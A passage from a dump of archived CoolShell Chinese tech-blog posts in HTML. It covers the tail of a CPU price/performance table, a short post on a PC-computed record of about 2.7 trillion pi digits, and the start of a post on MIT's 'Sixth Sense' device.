href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+430+%40+1.80GHz\">530</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039\">39.99</a></td>\n<td>13.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173\">Intel Xeon X3370 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3370+%40+3.00GHz\">4629</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173\">349.99</a></td>\n<td>13.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155\">Intel Xeon X3230 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3230+%40+2.66GHz\">3755</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155\">289.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186\">Intel Xeon E5506 @ 2.13GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5506+%40+2.13GHz\">3507</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186\">269.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151\">Intel Xeon E5405 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5405+%40+2.00GHz\">2993</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151\">229.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187\">Intel Xeon E5504 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5504+%40+2.00GHz\">3098</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187\">239.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150\">Intel Xeon E5410 @ 2.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5410+%40+2.33GHz\">3750</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150\">289.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">Intel Core2 Duo E8400 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8400+%40+3.00GHz\">2164</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">167.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226\">AMD Phenom 9500 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9500+Quad-Core\">2250</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226\">175.00</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188\">AMD Sempron LE-1300</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1300\">582</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188\">45.99</a></td>\n<td>12.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165\">Intel Xeon E3110 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E3110+%40+3.00GHz\">2269</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165\">179.99</a></td>\n<td>12.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036\">Intel Core2 Duo E8500 @ 3.16GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8500+%40+3.16GHz\">2308</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036\">189.99</a></td>\n<td>12.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201\">Intel Core i7 940 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+940+%40+2.93GHz\">6116</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201\">499.99</a></td>\n<td>12.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213\">Intel Core i7 870 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+870+%40+2.93GHz\">6184</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213\">539.99</a></td>\n<td>11.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216\">Intel Core i7 960 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+960+%40+3.20GHz\">6530</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216\">589.99</a></td>\n<td>11.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211\">Intel Core i7 950 @ 3.07GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+950+%40+3.07GHz\">6299</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211\">569.99</a></td>\n<td>11.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148\">Intel Xeon E5420 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5420+%40+2.50GHz\">3733</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148\">349.99</a></td>\n<td>10.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185\">Intel Xeon E5520 @ 2.27GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5520+%40+2.27GHz\">3960</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185\">384.99</a></td>\n<td>10.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145\">Intel Xeon E5430 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5430+%40+2.66GHz\">4485</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145\">499.99</a></td>\n<td>9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054\">Intel Core2 Duo E8600 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8600+%40+3.33GHz\">2469</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054\">279.99</a></td>\n<td>8.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015\">Intel Core i7 720QM @ 1.60GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+720QM+%40+1.60GHz\">3353</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015\">379.99</a></td>\n<td>8.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011\">Intel Core2 Quad Q9000 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9000+%40+2.00GHz\">2991</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011\">364.99</a></td>\n<td>8.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188\">Intel Xeon E5502 @ 1.87GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5502+%40+1.87GHz\">1602</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188\">199.99</a></td>\n<td>8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013\">Intel Core2 Duo P8700 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8700+%40+2.53GHz\">1760</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013\">219.99</a></td>\n<td>8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014\">Intel Core2 Duo P8800 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8800+%40+2.66GHz\">1923</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014\">249.99</a></td>\n<td>7.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184\">Intel Xeon E5530 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5530+%40+2.40GHz\">4290</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184\">569.99</a></td>\n<td>7.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009\">Intel Core2 Duo P8600 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8600+%40+2.40GHz\">1593</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009\">219.99</a></td>\n<td>7.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212\">Intel Core i7 975 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+975+%40+3.33GHz\">6931</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212\">969.99</a></td>\n<td>7.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010\">Intel Core2 Duo P8400 @ 2.26GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8400+%40+2.26GHz\">1512</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010\">214.99</a></td>\n<td>7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211\">Intel Xeon W3570 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W3570+%40+3.20GHz\">7166</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211\">1069.99</a></td>\n<td>6.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144\">Intel Xeon E5440 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5440+%40+2.83GHz\">4589</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144\">739.99</a></td>\n<td>6.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826\">AMD Sempron 2200+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+2200%2B\">319</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826\">51.98</a></td>\n<td>6.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012\">Intel Core2 Duo T9550 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9550+%40+2.66GHz\">1898</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012\">319.99</a></td>\n<td>5.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006\">Intel Core2 Duo T9600 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9600+%40+2.80GHz\">1987</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006\">339.99</a></td>\n<td>5.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183\">Intel Xeon E5540 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5540+%40+2.53GHz\">4467</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183\">779.99</a></td>\n<td>5.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214\">Intel Xeon W5590 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5590+%40+3.33GHz\">8597</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214\">1689.99</a></td>\n<td>5.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008\">Intel Core2 Duo T9400 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9400+%40+2.53GHz\">1710</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008\">335.98</a></td>\n<td>5.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317\">Intel Core2 Duo T7500 @ 2.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T7500+%40+2.20GHz\">1239</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317\">249.99</a></td>\n<td>5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007\">Intel Core2 Duo P9500 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P9500+%40+2.53GHz\">1758</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111007\">369.99</a></td>\n<td>4.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140\">Intel Xeon X5450 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5450+%40+3.00GHz\">4409</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117140\">939.99</a></td>\n<td>4.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141\">Intel Xeon E5450 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5450+%40+3.00GHz\">4583</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117141\">986.99</a></td>\n<td>4.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182\">Intel Xeon X5550 @ 2.67GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5550+%40+2.67GHz\">4424</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117182\">999.99</a></td>\n<td>4.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138\">Intel Xeon X5460 @ 3.16GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5460+%40+3.16GHz\">5008</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117138\">1249.99</a></td>\n<td>4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181\">Intel Xeon X5560 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5560+%40+2.80GHz\">4900</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117181\">1249.99</a></td>\n<td>3.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179\">Intel Xeon W5580 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5580+%40+3.20GHz\">6293</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179\">1679.99</a></td>\n<td>3.8</td>\n</tr>\n<tr id=\"yui-rec101\">\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180\">Intel Xeon X5570 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X5570+%40+2.93GHz\">5390</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117180\">1439.99</a></td>\n<td>3.7</td>\n</tr>\n</tbody>\n</table>\n<p></p></center><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n-->\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20793.html\"><img alt=\"与程序员相关的CPU缓存知识\" height=\"150\" src=\"../wp-content/uploads/2020/03/cpu_512x512-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20793.html\">与程序员相关的CPU缓存知识</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10249.html\"><img alt=\"7个示例科普CPU Cache\" height=\"150\" src=\"../wp-content/uploads/2013/07/image6-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10249.html\">7个示例科普CPU Cache</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1839.html\"><img alt=\"编程语言汽车\" height=\"150\" src=\"../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1839.html\">编程语言汽车</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1608.html\"><img alt=\"Javascript的两本书\" height=\"150\" src=\"../wp-content/uploads/2009/10/javascript-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1608.html\">Javascript的两本书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2039.html\">CPU的性价比</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-8 PI小数点位数的新纪录.html",
    "content": "<html><body><p>PI小数点后的位数据个数据的纪录被刷新了，被一台PC机刷新的。新的纪录把PI的小点数后面的位数整到了近2.7万亿位，太BT了。下面的链接是本次经录的通告：</p>\n<p style=\"text-align: center;\"><a href=\"http://bellard.org/pi/pi2700e9/announce.html\" target=\"_blank\">http://bellard.org/pi/pi2700e9/announce.html</a></p>\n<p style=\"text-align: left;\">这个通告宣称：</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">PI后的小数点位数被计算到了2,699,999,990,000位。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">为了保存计算结果，一共花了，1137GB的硬盘空间。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">本次计算使用了价值2000欧元左右的PC机，CPU是Core i7 CPU at 2.93 GHz ，内存6GB，5个1.5TB的希捷硬盘。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">操作系统使用的是Linux  64 bit Red Hat Fedora 10 distribution，7.5TB的硬盘被做成了RAID-0阵列，使用了ext4文件系统。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">整个计算时间花了131天（4个半月），其中，103天用于计算PI的二进制结果，13天用于验证二进制结果，花了12天把二进制转成十进制，最后花了3天再验证了转换。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">上一次的记录是<a href=\"http://www.hpcs.is.tsukuba.ac.jp/~daisuke/pi.html\">2.577 万亿小数位</a>，于2009年8月17日创造。其使用了超过百万欧元的超级计算机（Appro Xtreme-X3 Server）。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">相关的技术细节请看这里：<a href=\"http://bellard.org/pi/pi2700e9/pipcrecord.pdf\">http://bellard.org/pi/pi2700e9/pipcrecord.pdf</a></p>\n<p style=\"text-align: left;\">我想了想，算这个玩意花了多少度电，产生了多少废气，太不环保了。呵呵。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11235.html\"><img alt=\"一个浮点数跨平台产生的问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2688.html\"><img alt=\"在Javascript里写Python\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2688.html\">在Javascript里写Python</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1561.html\"><img alt=\"Google Maps API用法教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1561.html\">Google Maps API用法教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2428.html\"><img alt=\"如何管理并设计你的口令\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2428.html\">如何管理并设计你的口令</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4429.html\"><img alt=\"面试题：火车运煤问题\" height=\"150\" src=\"../wp-content/uploads/2009/07/Question-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4429.html\">面试题：火车运煤问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7126.html\"><img alt=\"这到底是谁之错？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2043.html\">PI小数点位数的新纪录</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-1-9 “第六感装置”的惊人潜力.html",
    "content": "<html><body><p>我们总是在于“现实生活”和“电脑的数字生活”中的差异，这两个世界难道不可以合并吗？美国MIT Media Lab（麻省理工学院媒体实验室）的天才学生普拉纳夫- (Prarnav Mistry)，发明了一项结合实体世界和虚拟世界的科技，令人惊喜，感叹创造力的惊人。下面是视频。翻译还OK。</p>\n<p align=\"center\"></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6346.html\"><img alt=\"程序员因为女孩而美丽！\" height=\"150\" src=\"../wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6346.html\">程序员因为女孩而美丽！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2964.html\"><img alt=\"25个jQuery的编程小抄\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2964.html\">25个jQuery的编程小抄</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2622.html\"><img alt=\"为什么敏捷方法能在软件开发中行之有效？\" height=\"150\" src=\"../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a></li><li><a class=\"wp_rp_thumbnail\" 